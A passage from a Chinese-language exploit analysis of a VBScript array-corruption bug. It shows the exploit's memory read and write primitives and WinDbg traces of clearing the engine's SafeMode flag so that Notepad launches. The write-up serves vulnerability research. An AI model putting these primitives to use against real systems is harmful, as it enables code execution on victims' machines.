                      redim Preserve aa(a2)  '對aa數組進行corrupt'
                      ab(0)=0
                      aa(a1)=add+4
                      ab(0)=1.69759663316747E-313  '0x0000000800000008'
                      ReadMemo=lenb(aa(a1))  'read primitive'
                      ab(0)=0
                      redim Preserve aa(a0)  '恢復aa數組至corrupt前'
                    end function

                    首先add+4會以long integer(0x03)類型賦給aa(a1),這里add為要讀取的地址,而后aa(a1)的類型被改成了string(0x08),于是add+4也就被當成了指向字符內容的指針,因此lenb(aa(a1))就等價于poi(add+4-4),即add地址處的值。

                    對于Setnotsafemode函數中的如下ReadMemo調用:

                    On Error Resume Next
                    i=Mydata()  '獲取testaa函數對象指針,即CScriptEntryPoint對象指針'
                    i=ReadMemo(i+8)

                    其跟蹤過程如下:

                    0:005> g
                    Breakpoint 1 hit
                    eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000060 esi=01e00900 edi=00000010
                    eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na po nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
                    vbscript!AssignVar:
                    6fb02e64 8bff            mov     edi,edi
                    0:005> dd esp L4
                    0249cb1c  6fb13991 0013ebf0 02e678f8 01df84e0
                    0:005> dd 01df84e0 L4
                    01df84e0  00000003 00000000 01df8724 41a00001
                    0:005> ln poi(01df8724)
                    0:005> ln poi(01df8724-8)
                    0:005> ln poi(01df8724-8-4)
                    (6fb04934)   vbscript!CScriptEntryPoint::`vftable'   |  (6fb1ab54)   vbscript!CEntryPointDispatch::`vftable'
                    Exact matches:
                        vbscript!CScriptEntryPoint::`vftable' = <no type information>
                    0:005> g
                    Breakpoint 2 hit
                    eax=0249cc10 ebx=0249cc70 ecx=0013f274 edx=0000400c esi=01e00910 edi=00000001
                    eip=6fb11f4c esp=0249cb18 ebp=0249cc18 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray:
                    6fb11f4c 8bff            mov     edi,edi
                    0:005> db 02e678e8 L20
                    02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
                    02e678f8  03 00 00 00 00 00 00 00-24 87 df 01 01 00 a0 41  ........$......A
                    0:005> g
                    Breakpoint 1 hit
                    eax=01df84e0 ebx=0249cc70 ecx=0249cc70 edx=00000002 esi=01e00910 edi=00000010
                    eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na po nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
                    vbscript!AssignVar:
                    6fb02e64 8bff            mov     edi,edi
                    0:005> g
                    Breakpoint 2 hit
                    eax=0249cb2c ebx=0249cc70 ecx=0249cc70 edx=0000400c esi=00000001 edi=01e00900
                    eip=6fb11f4c esp=0249cb00 ebp=0249cb18 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray:
                    6fb11f4c 8bff            mov     edi,edi
                    0:005> db 02e678e8 L20
                    02e678e8  ef 6a d2 68 6c 4b 02 08-05 00 00 00 00 00 00 00  .j.hlK..........
                    02e678f8  08 00 00 00 08 00 00 00-24 87 df 01 01 00 a0 41  ........$......A
                    0:005> g
                    Breakpoint 1 hit
                    eax=01df84f0 ebx=0249cc70 ecx=0249cc70 edx=00000000 esi=0249cbf8 edi=01df84f0
                    eip=6fb02e64 esp=0249cb1c ebp=0249cc18 iopl=0         nv up ei pl nz na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
                    vbscript!AssignVar:
                    6fb02e64 8bff            mov     edi,edi
                    0:005> dd esp L4
                    0249cb1c  6fb0cb42 0013ebf0 01df84f0 01df84e0
                    0:005> dd 01df84e0 L4
                    01df84e0  00000003 00000000 01df8648 00000000
                    0:005> dd 01df8724-8-4 L8
                    01df8718  6fb04934 00000001 01df8648 01e007f8
                    01df8728  01e028bc 00000000 01df8648 0013ebf0

                    3 修改SafeMode

                    最后我們再來看下exploit如何借助Write primitive對SafeMode標志進行修改。由前面的分析可知此標志是vbscript!COleScript對象指針特定偏移處的一個值,而vbscript!COleScript對象指針又可以通過vbscript!CScriptEntryPoint對象指針得到,因此SafeMode標志的查找過程如下:

                    0:005> ln poi(01df8718)
                    (6fb04934)   vbscript!CScriptEntryPoint::`vftable'   |  (6fb1ab54)   vbscript!CEntryPointDispatch::`vftable'
                    Exact matches:
                        vbscript!CScriptEntryPoint::`vftable' = <no type information>
                    0:005> dd 01df8718+8 L1
                    01df8720  01df8648
                    0:005> dd 01df8648+10 L1
                    01df8658  01df75f0
                    0:005> ln poi(01df75f0)
                    (6fb04868)   vbscript!COleScript::`vftable'   |  (6fb1fdbc)   vbscript!`string'
                    Exact matches:
                        vbscript!COleScript::`vftable' = <no type information>
                    0:005> dd 01df75f0+174 L4
                    01df7764  0000000e 00000000 00000000 00000000

                    當找到此標志所在內存地址后,接下去就是對其進行修改,相關代碼如下:

                    if (j=14) then
                      redim Preserve aa(a2)
                      aa(a1+2)(i+&h11c+k)=ab(4)  'write primitive'
                      redim Preserve aa(a0)
                      exit for
                    end if

                    我們來跟下這個過程:

                    0:005> bl
                     0 e 7664ec2c     0001 (0001)  0:**** OLEAUT32!SafeArrayRedim ".if(poi(poi(02e67900)-4)=0x0e){}.else{gc}"
                     1 d 6fb02e64     0001 (0001)  0:**** vbscript!AssignVar
                     2 d 6fb11f4c     0001 (0001)  0:**** vbscript!AccessArray
                    0:005> g
                    eax=0249cb14 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df84e0 edi=01e00900
                    eip=7664ec2c esp=0249cb00 ebp=0249cb1c iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    OLEAUT32!SafeArrayRedim:
                    7664ec2c 8bff            mov     edi,edi
                    0:005> db 02e678e8 L20
                    02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
                    02e678f8  00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41  ........hw.....A
                    0:005> bp OLEAUT32!SafeArrayRedim
                    breakpoint 0 redefined
                    0:005> g
                    Breakpoint 0 hit
                    eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000078 esi=01df8510 edi=01e00900
                    eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    OLEAUT32!SafeArrayRedim:
                    7664ec2c 8bff            mov     edi,edi
                    0:005> be *
                    0:005> g
                    Breakpoint 2 hit
                    eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00910
                    eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray:
                    6fb11f4c 8bff            mov     edi,edi
                    0:005> dd esp L8
                    0249cd44  6fb12028 0249ce54 0013f274 00000001
                    0249cd54  01df8510 0249cd70 0249ce5c 6fb0dc01
                    0:005> gu
                    eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000002 esi=00000001 edi=01e00910
                    eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!CScriptRuntime::LockArray+0x1a:
                    6fb12028 85c0            test    eax,eax
                    0:005> dd poi(0249ce54) L4
                    02e67930  00000000 00000000 00000000 00000000
                    0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
                       +0x000 cDims            : 1
                       +0x002 fFeatures        : 0x880
                       +0x004 cbElements       : 0x10
                       +0x008 cLocks           : 0
                       +0x00c pvData           : 0x02e678f0 Void
                       +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
                    0:005> g
                    Breakpoint 2 hit
                    eax=0249cd70 ebx=0249ceb4 ecx=0249ceb4 edx=0000400c esi=00000001 edi=01e00900
                    eip=6fb11f4c esp=0249cd44 ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray:
                    6fb11f4c 8bff            mov     edi,edi
                    0:005> dd esp L8
                    0249cd44  6fb12028 0249ce54 0013f23c 00000001
                    0249cd54  01df8500 0249cd70 0249ce5c 6fb0dc01
                    0:005> gu
                    eax=00000000 ebx=0249ceb4 ecx=0249ce54 edx=00000060 esi=00000001 edi=01e00900
                    eip=6fb12028 esp=0249cd5c ebp=0249cd5c iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!CScriptRuntime::LockArray+0x1a:
                    6fb12028 85c0            test    eax,eax
                    0:005> dd poi(0249ce54) L4
                    02e67918  0000200c 0000200c 00405014 0249cc18
                    0:005> dt ole32!tagSAFEARRAY poi(0249cd70)
                       +0x000 cDims            : 1
                       +0x002 fFeatures        : 0x880
                       +0x004 cbElements       : 0x10
                       +0x008 cLocks           : 0
                       +0x00c pvData           : 0x02e66ec8 Void
                       +0x010 rgsabound        : [1] tagSAFEARRAYBOUND
                    0:005> g
                    Breakpoint 2 hit
                    eax=0249ce54 ebx=0249ceb4 ecx=01df8500 edx=0000400c esi=00000001 edi=00000010
                    eip=6fb11f4c esp=0249cd5c ebp=0249ce5c iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray:
                    6fb11f4c 8bff            mov     edi,edi
                    0:005> dd esp L8
                    0249cd5c  6fb0255c 0249ce54 01df8500 00000001
                    0249cd6c  01df84f0 00000000 0249d070 0249ceb4
                    0:005> dd 01df8500 L4
                    01df8500  0000400c 00000000 02e67918 00000000
                    0:005> dd 02e67918 L4
                    02e67918  0000200c 0000200c 00405014 0249cc18
                    0:005> dd 00405014 L6
                    00405014  08800001 00000001 00000000 00000000
                    00405024  7fff0000 00000000
                    0:005> dt ole32!tagSAFEARRAY 00405014
                       +0x000 cDims            : 1
                       +0x002 fFeatures        : 0x880
                       +0x004 cbElements       : 1
                       +0x008 cLocks           : 0
                       +0x00c pvData           : (null) 
                       +0x010 rgsabound        : [1] tagSAFEARRAYBOUND

                    可以看到,之前精心構造的SAFEARRAY結構在這里用到了,通過它可返回以索引值i+&h11c+k為起始地址的Variant結構變量,即pvData+(i+&h11c+k)*cbElements=i+&h11c+k,因此可實現Write primitive,這里該索引值為0x01df7760:

                    ......
                    0:005> p
                    eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
                    eip=6fb11fe8 esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray+0xd6:
                    6fb11fe8 8b4604          mov     eax,dword ptr [esi+4] ds:0023:00405018=00000001
                    0:005> 
                    eax=00000001 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
                    eip=6fb11feb esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AccessArray+0xd9:
                    6fb11feb 0faf450c        imul    eax,dword ptr [ebp+0Ch] ss:0023:0249cd64=01df7760
                    0:005> 
                    eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
                    eip=6fb11fef esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl nz na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
                    vbscript!AccessArray+0xdd:
                    6fb11fef 03460c          add     eax,dword ptr [esi+0Ch] ds:0023:00405020=00000000
                    0:005> 
                    eax=01df7760 ebx=01df84f0 ecx=00000003 edx=00000003 esi=00405014 edi=00405024
                    eip=6fb11ff2 esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl nz na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
                    vbscript!AccessArray+0xe0:
                    6fb11ff2 8b4d08          mov     ecx,dword ptr [ebp+8] ss:0023:0249cd60=0249ce54
                    0:005> 
                    eax=01df7760 ebx=01df84f0 ecx=0249ce54 edx=00000003 esi=00405014 edi=00405024
                    eip=6fb11ff5 esp=0249cd3c ebp=0249cd58 iopl=0         nv up ei pl nz na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
                    vbscript!AccessArray+0xe3:
                    6fb11ff5 8901            mov     dword ptr [ecx],eax  ds:0023:0249ce54=01df8500
                    ......
                    0:005> dd poi(0249ce54) L4
                    01df7760  00000000 0000000e 00000000 00000000
                    0:005> db 02e678e8 L20
                    02e678e8  ef 6a d2 68 6c 4b 02 08-02 00 00 00 00 00 00 00  .j.hlK..........
                    02e678f8  00 00 00 00 00 00 00 00-68 77 df 01 01 00 a0 41  ........hw.....A

                    再接著就是將前面獲取的ab(4)賦給這個Variant結構變量:

                    0:005> g
                    Breakpoint 1 hit
                    eax=01df8510 ebx=0249ceb4 ecx=0249ceb4 edx=00000003 esi=00000001 edi=00000010
                    eip=6fb02e64 esp=0249cd60 ebp=0249ce5c iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    vbscript!AssignVar:
                    6fb02e64 8bff            mov     edi,edi
                    0:005> g
                    Breakpoint 0 hit
                    eax=0249cd58 ebx=004692e8 ecx=00000000 edx=00000060 esi=01df8510 edi=01e00900
                    eip=7664ec2c esp=0249cd44 ebp=0249cd60 iopl=0         nv up ei pl zr na pe nc
                    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
                    OLEAUT32!SafeArrayRedim:
                    7664ec2c 8bff            mov     edi,edi
                    0:005> dd 01df7760 L4
                    01df7760  00000000 00000000 00000000 00000000

                    可以看到SafeMode標志被清零了,因此記事本也就能彈出來了。

                    0x05 參考


                    Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/240/